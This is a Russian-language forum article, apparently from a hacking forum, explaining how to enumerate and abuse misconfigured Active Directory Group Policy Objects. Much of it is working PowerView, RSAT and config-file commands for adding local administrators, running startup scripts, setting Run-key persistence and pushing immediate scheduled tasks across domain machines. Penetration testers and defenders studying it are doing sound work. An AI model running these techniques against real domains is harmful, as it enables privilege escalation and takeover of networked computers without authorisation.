• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GPO. Эксплуатируем небезопасные групповые политики

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Основная причина успеха большинства взломов, будь то пентест или реальное проникновение злоумышленников, — это допущенные администраторами ошибки в настройках и конфигурации. Сегодня мы поговорим о способах эксплуатации небезопасных групповых политик в сетях Active Directory.

СТРУКТУРА​

Групповые политики используются повсеместно. Это удобный инструмент, позволяющий системным администраторам управлять настройками клиентских систем в домене. Сама «архитектура» групповых политик — клиент‑серверная. Чаще всего контроллер домена выступает в роли сервера, на котором создаются, настраиваются и изменяются политики, а доменные компьютеры, пользователи и иные объекты в AD — клиенты, которые эти самые политики получают и применяют.

Групповая политика называется Group Policy Object (GPO). Внутри каждой GPO есть две сущности:
  • Group Policy Container — специальный объект, который имеет идентификатор GUID, обозначающий групповую политику. Находится в CN=Policies,CN=System;
  • Group Policy Template — файлы .ADMX и .ADML, позволяющие с помощью GPO управлять объектами в AD.
GPO применяется к Organizational Units (организационным единицам). Можно считать это некой папкой, в которой находятся пользователи, компьютеры и другие объекты.

Изначально в только что созданном домене будут две политики:
  • Default Domain Policy — назначается текущему домену;
  • Default Domain Controller’s Policy — назначается OU, в состав которого входит контроллер домена. По умолчанию имя этой OU — Domain Controllers.
А теперь зайдем в ADUC и увидим, что наравне с OU в домене существуют и контейнеры.

image-1-2.png

Контейнеры — это лишь дополнительные объекты, позволяющие организовать структуру AD. К контейнеру нельзя привязать GPO. Чтобы применить GPO к контейнеру, сначала следует добавить его в соответствующую OU и уже к ней привязывать GPO.

GPO распространяется по сети через общий сетевой ресурс SYSVOL, который хранится на контроллере домена. Все пользователи в домене обычно имеют к нему доступ и периодически синхронизируются для обновления настроек своих объектов групповой политики. Общий ресурс SYSVOL по умолчанию указывает на каталог C:\Windows\SYSVOL\sysvol\ на контроллере домена.

Для синхронизации нужно время. Иногда на обновление настроек может уйти до двух часов. Если нам требуется немедленная синхронизация, то на компьютере надо ввести команду
Код:
gpupdate /force
С GPO могут быть связаны какие‑либо права. Например, пользователь Admin11111 имеет право GenericAll на политику UsersInfo. Неправильная настройка таких прав приводит к появлению векторов эксплуатации, которые мы рассмотрим в сегодняшней статье.

ОБНАРУЖЕНИЕ​

Обнаружить доступные GPO можно следующим образом:
Код:
ls \\<домен>\SYSVOL\<домен>\Policies\

img2.png

В результате мы получим GUID всех доступных политик.

Если у нас есть доступ к Active Directory Module, то сможем получить информацию вот так:
Код:
Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" -Properties Name, DisplayName,gPCFileSysPath | select Name, DisplayName,GPCFileSysPath | Format-List
img3.png

Наконец, PowerView имеет такую же функциональность:
Код:
Get-NetGpo

img4.png

Теперь желательно из GUID получить имя политики. Конечно, AD Module и PowerView умеют делать это самостоятельно, но в случае, если у нас есть только GUID, имя можно получить следующим образом:
Код:
# RSAT

    Get-Gpo -GUID '{205F0E03-17C3-4E9B-925E-330FAD565CA1}'

# PowerView v3

    Get-DomainGPO -Identity '{205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName

img5.png

Мы также можем изучить политики, привязанные к определенному устройству:
Код:
# PowerView v2

    Get-NetGPO -ComputerName name.domain.com

# PowerView v3

    Get-DomainGPO -ComputerIdentity name.domain.com -Properties Name, DisplayName

img6.png

Наконец, самое интересное. Пора изучать все ACL на найденные GPO, пытаясь найти мисконфиг. Сделать это можно с помощью разных средств. Чаще всего используются или BloodHound, или PowerView:
Код:
# PowerView v2

    # Получение ACL на все политики

        Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

    # Найти GPO, на которые пользователь student имеет права

        Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "student"}

img8.png

Пользователь vaska имеет подозрительно высокие права на GPO с GUID {31B2F340-016D-11D2-945F-00C04FB984F9}. PowerView третьей версии (он же PowerView DEV) не отстает от своего младшего собрата, но отличается тем, что не умеет автоматически преобразовывать SID в понятное для человека имя пользователя, поэтому в конец каждого командлета добавляется огромная строка:
Код:
# PowerView v3

    # Находим ACL на все политики

    Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

    # Находим GPO, на которые у пользователя domain\user есть права

        Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user")) {$_}}

    # Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права:

    Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

    # Обнаружение пользователей (кроме ожидаемых, таких как Enterprise Admins, Domain Admins), которые могут изменять GPO

    Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}"  }
Наконец, можно использовать BloodHound:
Код:
// Находим политики, на которые пользователь USER@DOMAIN.LOCAL имеет права

    match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p
Теперь, обнаружив политики и возможный мисконфиг в виде пользователя vaska с подозрительными привилегиями, можно приступать к получению учетной записи этого пользователя. Причем разведка на этом не заканчивается, мы можем обнаружить объекты, которые имеют право создавать новые GPO в домене:
Код:
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" }
Чтобы найти все OU, на которые распространяется политика, воспользуемся вот таким скриптом:
Код:
# PowerView v2

    Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

# PowerView v3

    Get-DomainOU -GPLink '{<GPP_GUID>}' | % {Get-DomainObject -SearchBase $_.distinguishedname}|select  samaccounttype, cn

img10.png

Теперь поищем пользователей, которые могут связывать GPO с OU:
Код:
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" }

Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.ObjectAceType -match "GP-Link|GP-Options") -and  ($_.ActiveDirectoryRights -eq "WriteProperty")) -or ($_.ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

ЭКСПЛУАТАЦИЯ​

mmc​

Криво настроенные права можно эксплуатировать и с помощью стандартного приложения mmc.exe, установленного на каждом компьютере c Windows. Сначала запускаем это приложение от лица пользователя, имеющего права на какую‑либо политику. Далее добавляем нужную оснастку.

img7.png

Добавляем оснастку Group Policy Management, выбираем политику и тогда сможем ее редактировать.

img9.png

Например, создадим юзера, зайдя по следующему пути:
Код:
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Create > User name: <user>
А затем добавим его в группу локальных администраторов:
Код:
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Update > Group name : <Administrators> > Members: Add: <user>

Файл .ini​

Этот способ я подсмотрел у Дмитрия Неверова, руководителя группы анализа защищенности внутренней инфраструктуры в компании «Ростелеком‑Солар». Чаще всего доступа к графическому интерфейсу у нас не будет, поэтому придется либо использовать инструменты, описанные ниже, либо вручную создавать специальный конфигурационный файл.

Например, если наша задача — выполнить скрипт на конечных устройствах, то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.ps1. Содержимое скрипта может быть любым, абсолютно любые команды. Следующим шагом в каталоге \Machine\ в корне GPO потребуется открыть файл psscripts.ini. Это скрытый файл. Если файла не существует, его нужно создать. Содержимое файла будет таким:
Код:
[Startup]

0CmdLine=Test.ps1

0Parameters=
Этот файл содержит ссылку на скрипт, который нужно выполнить. Также при необходимости в нем прописываются параметры выполнения (когда они есть). Если нужно запустить несколько скриптов, первый символ в этом файле будет инкрементироваться. Для скрипов .bat используется файл scripts.ini.

После завершения подготовительных действий остается только изменить атрибут gpcmachineextensionnames с помощью PowerView:
Код:
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'=' [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]'}
Значения 42B5FAAE-6536-11D2-AE5A-0000F87571E3 и 40B6664F-4972-11D1-A7CA-0000F87571E3 документированы как ProcessScriptsGroupPolicy и Scripts (Startup/Shutdown). Используя их в GPO, мы создаем возможность выполнения скрипта при применении групповой политики.

Причем если атрибут gpcmachineextensionnames уже содержит другие записи, то их тоже нужно внести в команду. Также стоит изменить параметр Version в файле GPT.ini на единицу. Теперь после перезагрузки компьютера скрипт Test.ps1 будет выполнен. По умолчанию задержка на выполнение скриптов составляет пять минут.

Подобным образом можно добавлять локальных администраторов на компьютере. Сначала создаем файл GptTmpl.inf по пути \Machine\Microsoft\Windows NT\SecEdit (иногда эти каталоги отсутствуют и их придется создать). Содержимое файла будет следующим:
Код:
[Unicode]

Unicode=yes

[Version]

signature="$CHICAGO$"

Revision=1

[Group Membership]

*S-1-5-32-544__Members = *S-1-5-21-2722789902-3858190539-1593706810-1119
Здесь к локальной группе локальных администраторов (S-1-5-32-544) добавляется SID доменного пользователя (S-1-5-21-2722789902-3858190539-1593706810-1119). При добавлении пользователя в группу локальных администраторов необходимо учитывать порядок применения GPO. Наши действия могут привести к тому, что легитимные локальные администраторы будут удалены из группы локальных администраторов, поэтому стоит добавить и их SID в файл GptTmpl.inf через запятую.

Следующий шаг заключается в изменении атрибута gpcmachineextensionnames, эту задачу можно выполнить с помощью PowerView:
Код:
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'='[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'}
827D319E-6EAC-11D2-A4EA-00C04F79F83A имеет значение Security, а 803E14A0-B4FB-11D0-A0D0-00A0C90F574B — Computer Restricted Groups. Применяя их к GPO, мы можем изменять списки участников локальных групп.

Помни: если атрибуты gpcuserextensionnames и gpcmachineextensionnames уже содержат другие записи, их также нужно внести в нашу команду PowerView. Наконец, не забудь изменить параметр Version в файле GPT.ini на единицу.

Создание GPO​

Если на этапе разведки получилось обнаружить пользователя, который имеет право создавать GPO и связывать ее с OU, то это также может помочь при эксплуатации. PowerView не имеет возможности создавать GPO, поэтому следует использовать RSAT. Установка этой утилиты не представляет никаких сложностей:
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0

Import-Module GroupPolicy

img11.png

Заводим новую GPO:
Код:
New-Gpo -Name TestGPO

img12.png

Связываем с OU:
Код:
Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local"

img13.png

После успешного связывания можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инструменты, например SharpGPOAbuse или pyGPOAbuse.

Когда работы завершатся, GPO будет отвязана от OU:
Код:
Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local"
И удалена:
Код:
Remove-GPO -Name TestGPO

Перемещение через GPO​

Ничто не мешает нам использовать GPO как средство бокового перемещения. Опять же ставим RSAT:
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0

Import-Module GroupPolicy

И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш пейлоад:
Код:
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
Если установить RSAT нет возможности, то можно импортировать PowerShell-скрипт, который позволяет создать запланированную задачу:
Код:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName "VictimGPO" -Verbose -Force

ВЫВОДЫ​

Групповые политики стоят далеко не на самом первом месте в чек‑листе типовых уязвимостей Active Directory. Тем не менее, злоупотребляя ими, атакующий сможет получить чрезвычайно выгодное положение, захватив сразу целый OU. Самое главное — не забывай, что изменения применяются далеко не сразу. Компьютерам нужно время для синхронизации. Если ждать нет возможности, используй команду gpupdate /force.


Автор @MichelleVermishelle
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх